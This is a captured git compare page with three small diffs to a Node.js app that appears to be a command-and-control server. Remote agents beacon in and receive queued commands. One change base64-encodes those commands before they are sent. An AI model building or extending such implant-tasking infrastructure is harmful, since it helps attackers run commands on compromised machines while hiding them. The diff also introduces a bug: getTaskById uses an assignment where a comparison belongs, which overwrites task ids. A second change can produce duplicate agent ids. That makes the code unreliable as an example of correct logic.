Compare commits

..

13 Commits

  1. 2
      app/app.js
  2. 4
      app/store/agents.js
  3. 2
      app/store/tasks.js

@ -121,7 +121,7 @@ app.get('/beacon/:agentId', (req, res) => {
agentStore.updateAgentBeaconTime(agentId)
const task = taskStore.getNextTaskForAgent(agentId)
if (task) {
res.status(200).send(`${task.id}||${task.command}`)
res.status(200).send(`${task.id}||${Buffer.from(task.command).toString('base64')}`)
} else {
res.status(200).send('sleep')
}

@ -3,12 +3,10 @@ const moment = require('moment')
const Agents = () => {
const obj = {}
obj.agents = []
obj._agentId = 0
obj.addAgent = (os, ip, profile, interval) => {
const agent = {}
obj._agentId += 1
agent.id = obj._agentId
agent.id = obj.agents.length + 1
agent.os = os
agent.ip = ip
agent.profile = profile

@ -17,7 +17,7 @@ const Tasks = () => {
}
obj.getTaskById = (taskId) => {
const task = obj.tasks.find(t => t.id === taskId)
const task = obj.tasks.find(t => t.id = taskId)
return task
? task
: null

Loading…
Cancel
Save